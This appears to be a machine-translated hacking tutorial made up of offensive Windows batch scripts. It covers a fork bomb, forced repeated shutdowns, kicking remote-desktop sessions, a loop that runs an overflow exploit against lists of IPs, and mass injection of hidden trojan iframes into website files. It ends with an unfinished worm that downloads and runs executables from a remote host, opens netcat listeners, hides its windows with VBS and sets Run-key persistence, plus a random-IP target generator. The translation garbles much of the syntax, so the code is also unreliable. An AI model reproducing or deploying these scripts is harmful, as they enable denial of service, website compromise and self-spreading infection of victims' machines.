Various intrusion Batch Processing

First: let someone else's memory over (force him to restart)
@ Echo off
Start cmd
% 0

All three rows

Second: Ask the other party to restart the instance for a specified number of times (for the victim)
@ Echo off
If not exist c: \ 1.txt echo.> C: \ 1.txt & goto err1
If not exist c: \ 2.txt echo.> C: \ 2.txt & goto err1
If not exist c: \ 3.txt echo.> C: \ 3.txt & goto err1
If not exist c: \ 4.txt echo.> C: \ 4.txt & goto err1
If not exist c: \ 5.txt echo.> C: \ 5.txt & goto err1
Goto err2
: Err1
Shutdown-s-t 0
: Err2
This allows the recipient to restart the computer five times without restarting.

Third: Automatic kicking (3389 for self-protection purposes)
@ Echo off
Logoff 1
Del log. bat
Change 1 after logoff to the login ID, and use query user to view

Fourth: Batch automatic Overflow
@ For/F % I in (result.txt) Do 42% % I 58.44.89.158 521
First, use NC to listen to the port, open a few more, and then point to the line, it automatically overflows.

Fifth: Automatic Trojan Horse mounting and modification Homepage
@ Echo off
CLS
It is helpful to call the batch name directly by REM.
Batch Mount Trojans in title and modify the homepage (headache QQ: 447228437 ).
Color
Set Pan = % 1
Set ye = % 2
Set Dai = % 3
If "% Pan %" = "" Goto E1
If "% ye %" = "" Goto E1
If "% DAI %" = "" Goto E1
If "% DAI %" = "htm.txt" Goto u1
Forfiles/P % Pan %/M % ye %/S/C "CMD/C if @ isdir = False echo ^ <IFRAME src =" http: // % DAI % "width =" 0 "Height =" 0 "frameborder =" 0 "^ >>> @ path"
Echo.
All echo code has been inserted !!!!
Echo.
Pause
Goto E1
: U1
Echo your current operation will change all the content named % ye % under % Pan % to the content you want to change.
Echo, this is very dangerous. Do you really want to do this? Press enter and press Ctrl + C to cancel the operation.
Pause
Forfiles/P % Pan %/M % ye %/S/C "CMD/C if @ isdir = false copy % 1 \ htm.txt @ path/y"
Echo.
All changes to the echo homepage are required !!!! If no replacement is successful, remove the read-only attribute of % ye %.
Echo.
Pause
: E1
Echo.
Echo this batch processing only applies to systems. To use other systems, copy forfiles.exe to the System32 directory of the system disk.
Echo usage: SNJ ^ <search drive letter ^> ^ <file name ^> ^ <network horse address ^>
Echo example: snj d: \ index. asp www.muma.com/mm.htm
Echo batch processing automatically adds the ^ <IFRAME ^> flag
Echo.
Echo if you want to change the homepage of all websites! Create a new text file named htm.txt in the batch file directory.
Echo and copy the code to be changed to it and save it. Then, input the <network horse address ^> item of the command to htm.txt.
Echo example: snj d: \ index. asp htm.txt
Echo.
Echo in order to execute batch processing accurately, it is best to remove the "Automatic line feed function" of notepad first, so that the command can be correctly executed only after one line.
Echo.
I am not responsible for any consequences caused by using this batch of Echo. Please use this batch with caution!
Echo.

Sixth: using batch processing to write worms spread by exploiting System Vulnerabilities
I wanted to write a tutorial and go to school. So I will tell you the idea first. You can write it by yourself. I have time to write it and send it to the group.
These are my unfinished batch processing. You can continue to finish writing them based on the ideas I have mentioned below.
Del c: \ 42.exe
Del c: \ nc.exe
Del c: \ ip.exe
Echo dim wsh> % SystemRoot % \ HELP \ test. vbs
Echo set wsh = Createobject ("wscript. Shell")> % SystemRoot % \ HELP \ test. vbs
Echo wsh. run "CMD/C % SystemRoot % \ HELP \ nc-V-l-P 810 <% SystemRoot % \ HELP \ or.txt", 0> % SystemRoot % \ HELP \ test. vbs
Echo dim wsh> % SystemRoot % \ HELP \ test2.vbs
Echo set wsh = Createobject ("wscript. Shell")> % SystemRoot % \ HELP \ test2.vbs
Echo wsh. Run "CMD/C start % SystemRoot % \ HELP \ Good. Bat", 0 >>% SystemRoot % \ HELP \ test2.vbs
Echo open 10.0.0.5> % SystemRoot % \ HELP \ ftp.txt
Echo open myyes> % SystemRoot % \ HELP \ ftp.txt
Echo 1> % SystemRoot % \ HELP \ ftp.txt
Echo binary> % SystemRoot % \ HELP \ ftp.txt
Echo get 42.exe c: \ 42.exe> % SystemRoot % \ HELP \ ftp.txt
Echo get nc.exe c: \ nc.exe >>% SystemRoot % \ HELP \ ftp.txt
Echo get ip.exe c: \ ip.exe >>% SystemRoot % \ HELP \ ftp.txt
Echo bye> % SystemRoot % \ HELP \ ftp.txt
Echo set xpost = Createobject ("Microsoft. XMLHTTP") ^> 1.vbs> % SystemRoot % \ HELP \ or.txt
Echo xpost. Open "get", "http: // 10.0.0.5/my.exe & quo..., 0 ^ >^> 1.vbs >>%systemroot % \ HELP \ or.txt
Echo xpost. Send () ^ >^> 1.vbs >>%systemroot % \ HELP \ or.txt
Echo set sget = Createobject ("ADODB. Stream") ^ >^> 1.vbs >>% SystemRoot % \ HELP \ or.txt
Echo sget. mode = 3 ^ >^> 1.vbs >>%systemroot % \ HELP \ or.txt
Echo sget. type = 1 ^ >^> 1.vbs >>%systemroot % \ HELP \ or.txt
Echo sget. Write (xpost. responsebody) ^ >^> 1.vbs >>% SystemRoot % \ HELP \ or.txt
Echo sget. savetofile "D: \ my.exe", 2 ^ >^> 1.vbs >>% SystemRoot % \ HELP \ or.txt
Echo 1.vbs ^ >^> 1.vbs >>% SystemRoot % \ HELP \ or.txt
Echo my.exe ^ >^> 1.vbs >>% SystemRoot % \ HELP \ or.txt
Echo Windows Registry Editor Version 5.00> % SystemRoot % \ HELP \ 1.reg
Echo [HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run]> % SystemRoot % \ HELP \ 1.reg
Echo "Skynet Personal Firewall" = "f :\\ System Security Tool \ firewall \ pfw.exe" >>%systemroot % \ HELP \ 1.reg
Echo "1" = "% SystemRoot % \ HELP \ test2.vbs"> % SystemRoot % \ HELP \ 1.reg

If not exist % SystemRoot % \ HELP \ Good. Bat copy good. Bat % SystemRoot % \ HELP \ Good. BAT & % SystemRoot % \ HELP \ test2.vbs & del good. bat
Regedit-S % SystemRoot % \ HELP \ 1.reg
FTP-S: % SystemRoot % \ HELP \ ftp.txt
Move c: \ nc.exe % SystemRoot % \ HELP \/y
Move c: \ 42.exe % SystemRoot % \ HELP \/y
Move c: \ ip.exe % SystemRoot % \ HELP \/y
% SystemRoot % \ HELP \ test. vbs
REM for/F % I in (result1.txt) do set a = % I
REM for/F % J in (result.txt) Do 42% a % J 810
Preparation:
1: Find a reverse connection overflow attack program, such as the ms06040 vulnerability.
2: Find a free FTP space, preferably a domain name.
3: a tool that can generate random range IP addresses and find local IP addresses using advanced languages you know.
Ideas:
Use the for statement to overflow the IP address in the specified text, and then use the if statement to determine whether the overflow is successful. If an NC listening port is enabled successfully, the NC is followed by a <input symbol
The input content is to download the batch processing file, and then execute this batch processing. In this way, the overflow machine will run the batch processing on it, so as to automatically spread.

Put the files generated by batch processing in a directory. You can % SystemRoot % system variables directly under the system directory.
Because the command line window will pop out after the batch processing is run, we can use the vbs script to run our batch processing, so that no window will appear. The script is as follows:
Echo dim wsh> % SystemRoot % \ HELP \ test. vbs
Echo set wsh = Createobject ("wscript. Shell")> % SystemRoot % \ HELP \ test. vbs
Echo wsh. run "CMD/C % SystemRoot % \ HELP \ nc-V-l-P 810 <% SystemRoot % \ HELP \ or.txt", 0> % SystemRoot % \ HELP \ test. vbs

Generate the VB code of the random IP address Tool
Private sub form_load ()
Dim FSO as new FileSystemObject
Dim a, B, c, d as integer
Dim pH, e as string
PH = app. Path & "\" & "ip.txt"
Randomize
A = int (253 * RND + 1)
B = int (253 * RND + 1)
C = int (240 * RND + 1)
Open pH for output as #1
For I = C to C + 7
For j = 1 ~ 254
E = A & "." & B & "." & I & "." & J
Print #1, E
Doevents
Next J
Next I
Close #1
Unload me
End sub